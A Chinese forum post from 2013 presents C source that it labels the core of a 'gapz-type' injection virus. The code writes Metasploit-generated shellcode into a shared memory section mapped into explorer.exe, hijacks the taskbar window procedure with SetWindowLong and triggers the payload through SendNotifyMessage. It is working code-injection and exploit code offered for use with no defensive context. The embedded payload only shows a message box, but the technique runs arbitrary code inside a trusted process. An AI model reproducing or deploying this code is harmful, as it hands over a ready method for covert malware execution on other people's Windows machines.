本帖最后由 bbzwj 于 2013-6-7 14:39 编辑
这是gapz型高级注入病毒，以下是核心代码：
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <string.h>
#include <tlhelp32.h>
// ASCII marker
#define MARKER "I'm in ur address-space man!"
#define SIZE_MARKER strlen(MARKER)
// Declarations
#define STATUS_SUCCESS ((NTSTATUS)0)
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
extern "C"
{
NTSTATUS NTAPI ZwOpenSection(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS NTAPI ZwClose(
HANDLE Handle
);
NTSTATUS NTAPI ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);
NTSTATUS NTAPI ZwMapViewOfSection(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
}
// Definitions
VOID fatal_error(PCHAR msg)
{
fprintf(stderr, "%s\n", msg);
ExitProcess(0);
}
DWORD find_marker_in_region(PCHAR buffer, DWORD size)
{
if(SIZE_MARKER > size)
fatal_error("Failed in" __FUNCTION__);
for(DWORD i = 0; i < (size - SIZE_MARKER); ++i)
if(memcmp(buffer + i, MARKER, SIZE_MARKER) == 0)
return i;
return 0xffffffff;
}
DWORD get_explorer_pid()
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32 = {0};
DWORD explorer_pid = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
fatal_error("Failed in " __FUNCTION__);
pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap, &pe32))
fatal_error("Failed in " __FUNCTION__);
do
{
if(strcmp(pe32.szExeFile, "explorer.exe") == 0)
{
explorer_pid = pe32.th32ProcessID;
break;
}
} while(Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if(explorer_pid == 0)
fatal_error("Failed in " __FUNCTION__);
return explorer_pid;
}
DWORD find_marker_in_explorer(HANDLE hProcess, DWORD base_address_region, DWORD size_region)
{
DWORD size_read, idx_marker;
PCHAR buffer = (PCHAR)malloc(size_region);
if(buffer == 0)
fatal_error("Failed in " __FUNCTION__);
if(ReadProcessMemory(
hProcess,
(LPVOID)base_address_region,
buffer,
size_region,
&size_read
) == FALSE)
return 0;
idx_marker = find_marker_in_region(buffer, size_region);
if(idx_marker == 0xffffffff)
return 0;
free(buffer);
return base_address_region + idx_marker + SIZE_MARKER;
}
DWORD get_shellcode_address()
{
HANDLE hProcess;
DWORD pid_explorer = get_explorer_pid(), base_address = 0,
shellcode_address = 0, bytes_read,
first_indirection, second_indirection;
MEMORY_BASIC_INFORMATION mem_info = {0};
if(pid_explorer == 0)
fatal_error("Failed in " __FUNCTION__);
printf(" Explorer.exe's PID: %d\n", pid_explorer);
hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE,
pid_explorer
);
if(hProcess == NULL)
fatal_error("Failed in " __FUNCTION__);
while(TRUE)
{
bytes_read = VirtualQueryEx(
hProcess,
(PVOID)base_address,
&mem_info,
sizeof(mem_info)
);
if(bytes_read != sizeof(mem_info))
return 0;
printf(" Looking for the marker in [%.8x - %.8x]..\n", base_address, base_address + mem_info.RegionSize);
if((shellcode_address = find_marker_in_explorer(hProcess, base_address, mem_info.RegionSize)) != 0)
break;
base_address += mem_info.RegionSize;
}
/*
In the shared section we have:
address: 0x1337 [0x0000133b][0x0000133f][Payload]
CPU Disasm
Address Hex dump Command Comments
01001B4A |. 8B06 MOV EAX,DWORD PTR [ESI] ; ESI is a pointer on the value we give at SetWindowLong (that's why we need two indirection)
01001B4C |. 56 PUSH ESI
01001B4D FF10 CALL DWORD PTR [EAX]
First, ESI=0x1337
Then EAX = 0x133b
Finally CALL [0x133b] = CALL 0x133f => BOOM
*/
first_indirection = shellcode_address + 4;
printf("Writing %.8x @ %.8x\n", first_indirection, shellcode_address);
WriteProcessMemory(
hProcess,
(PVOID)shellcode_address,
&first_indirection,
sizeof(DWORD),
NULL
);
second_indirection = first_indirection + 4;
printf("Writing %.8x @ %.8x\n", second_indirection, shellcode_address + 4);
WriteProcessMemory(
hProcess,
(PVOID)(shellcode_address + 4),
&second_indirection,
sizeof(DWORD),
NULL
);
return shellcode_address;
}
BOOL write_shellcode_in_shared_section()
{
/*
C:\metasploit\msf3>..\ruby\bin\ruby.exe msfpayload windows/messagebox TITLE="0vercl0k iz in your explorer man!" TEXT="Hi from the explorer dewd o/" P
# windows/messagebox - 315 bytes
# http://www.metasploit.com
# VERBOSE=false, EXITFUNC=process, TITLE=0vercl0k iz in your explorer man!, TEXT=Hi from the explorer dewd o/, ICON=NO
my $buf =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" .
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" .
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" .
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" .
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" .
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" .
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" .
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" .
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" .
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" .
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" .
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" .
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" .
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" .
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x20\x6d\x61\x6e" .
"\x68\x6f\x72\x65\x72\x68\x65\x78\x70\x6c\x68\x6f\x75\x72" .
"\x20\x68\x69\x6e\x20\x79\x68\x20\x69\x7a\x20\x68\x63\x6c" .
"\x30\x6b\x68\x30\x76\x65\x72\x31\xdb\x88\x5c\x24\x21\x89" .
"\xe3\x68\x58\x20\x20\x20\x68\x64\x20\x6f\x2f\x68\x20\x64" .
"\x65\x77\x68\x6f\x72\x65\x72\x68\x65\x78\x70\x6c\x68\x74" .
"\x68\x65\x20\x68\x72\x6f\x6d\x20\x68\x48\x69\x20\x66\x31" .
"\xc9\x88\x4c\x24\x1c\x89\xe1\x31\xd2\x52\x53\x51\x52\xff" .
"\xd0\x31\xc0\x50\xff\x55\x08";
*/
UCHAR payload[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x20\x6d\x61\x6e\x68\x6f\x72\x65\x72\x68\x65\x78\x70\x6c\x68\x6f\x75\x72\x20\x68\x69\x6e\x20\x79\x68\x20\x69\x7a\x20\x68\x63\x6c\x30\x6b\x68\x30\x76\x65\x72\x31\xdb\x88\x5c\x24\x21\x89\xe3\x68\x58\x20\x20\x20\x68\x64\x20\x6f\x2f\x68\x20\x64\x65\x77\x68\x6f\x72\x65\x72\x68\x65\x78\x70\x6c\x68\x74\x68\x65\x20\x68\x72\x6f\x6d\x20\x68\x48\x69\x20\x66\x31\xc9\x88\x4c\x24\x1c\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
NTSTATUS result;
BOOL ret = TRUE;
HANDLE hSection = INVALID_HANDLE_VALUE;
UNICODE_STRING obj_name = {0};
OBJECT_ATTRIBUTES obj = {0};
PUCHAR base_address_view = 0;
SIZE_T viewsize = 0;
RtlInitUnicodeString(&obj_name, L"\\BaseNamedObjects\\ShimSharedMemory");
InitializeObjectAttributes(
&obj,
&obj_name,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
printf(" Opening the section..");
result = ZwOpenSection(
&hSection,
GENERIC_WRITE,
&obj
);
if(result != STATUS_SUCCESS)
{
printf("Failed in " __FUNCTION__ ": %.8x.\n", result);
ret = FALSE;
goto clean;
}
printf("OK\n");
printf(" Map-ing a view of this section in our address space..");
result = ZwMapViewOfSection(
hSection,
GetCurrentProcess(),
(PVOID*)&base_address_view,
(ULONG_PTR)NULL,
0,
NULL,
&viewsize,
ViewUnmap,
0,
PAGE_READWRITE
);
if(result != STATUS_SUCCESS)
{
printf("Failed in " __FUNCTION__ ": %.8x.\n", result);
ret = FALSE;
goto clean;
}
printf("OK at %.8x (%d bytes).\n", base_address_view, viewsize);
printf(" Writing the payload in the shared section..");
memcpy((base_address_view + viewsize) - (sizeof(payload) + SIZE_MARKER + 4 + 4), MARKER, SIZE_MARKER);
memcpy(((base_address_view + viewsize) - sizeof(payload)), payload, sizeof(payload));
printf("OK.\n");
clean:
if(hSection != INVALID_HANDLE_VALUE)
{
ZwUnmapViewOfSection(GetCurrentProcess(), base_address_view);
ZwClose(hSection);
}
return ret;
}
BOOL modify_winproc_taskbar_window()
{
BOOL ret = TRUE;
HWND hTaskbarWindow = FindWindow("Shell_TrayWnd", NULL);
LONG taskbarWinproc = 0;
DWORD shellcode_address = 0;
printf(" Where are you Shell_TrayWnd, where are you..");
if(hTaskbarWindow == 0)
{
printf("Failed in " __FUNCTION__ ".\n");
ret = FALSE;
goto clean;
}
printf("OK.\n");
printf(" Retrieving its windows procedure..");
taskbarWinproc = GetWindowLong(hTaskbarWindow, 0);
if(taskbarWinproc == 0)
{
printf("Failed in " __FUNCTION__ ".\n");
ret = FALSE;
goto clean;
}
printf("OK at %.8x.\n", taskbarWinproc);
printf(" Getting the shellcode address..\n");
shellcode_address = get_shellcode_address();
if(shellcode_address == 0)
{
printf("Failed in " __FUNCTION__ ".\n");
ret = FALSE;
goto clean;
}
printf("OK at 0x%.8x.\n", shellcode_address);
printf(" Setting the windows procedure ..");
SetWindowLong(hTaskbarWindow, 0, shellcode_address);
printf("OK.\n");
printf(" Pulling the trigger, BRAAAAAA\n");
SendNotifyMessage(
hTaskbarWindow,
0xf,
0,
0
);
Sleep(1);
printf(" Putting back its winproc\n");
SetWindowLong(hTaskbarWindow, 0, taskbarWinproc);
clean:
return ret;
}
int main()
{
printf("1] Writing the shellcode in the shared section mapped in explorer.exe's address space\n");
if(write_shellcode_in_shared_section() == FALSE)
return -1;
printf("\n2] Looking for the taskbar window, a pointer onto shellcode in the explorer's memory and modify its windows procedure\n");
if(modify_winproc_taskbar_window() == FALSE)
return -1;
printf("\n3] Profit!\n");
return 0;
}
|
楼主: 墨家小子
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发表于 2013-6-6 23:32:48
楼主
发表于 2013-6-7 01:09:02
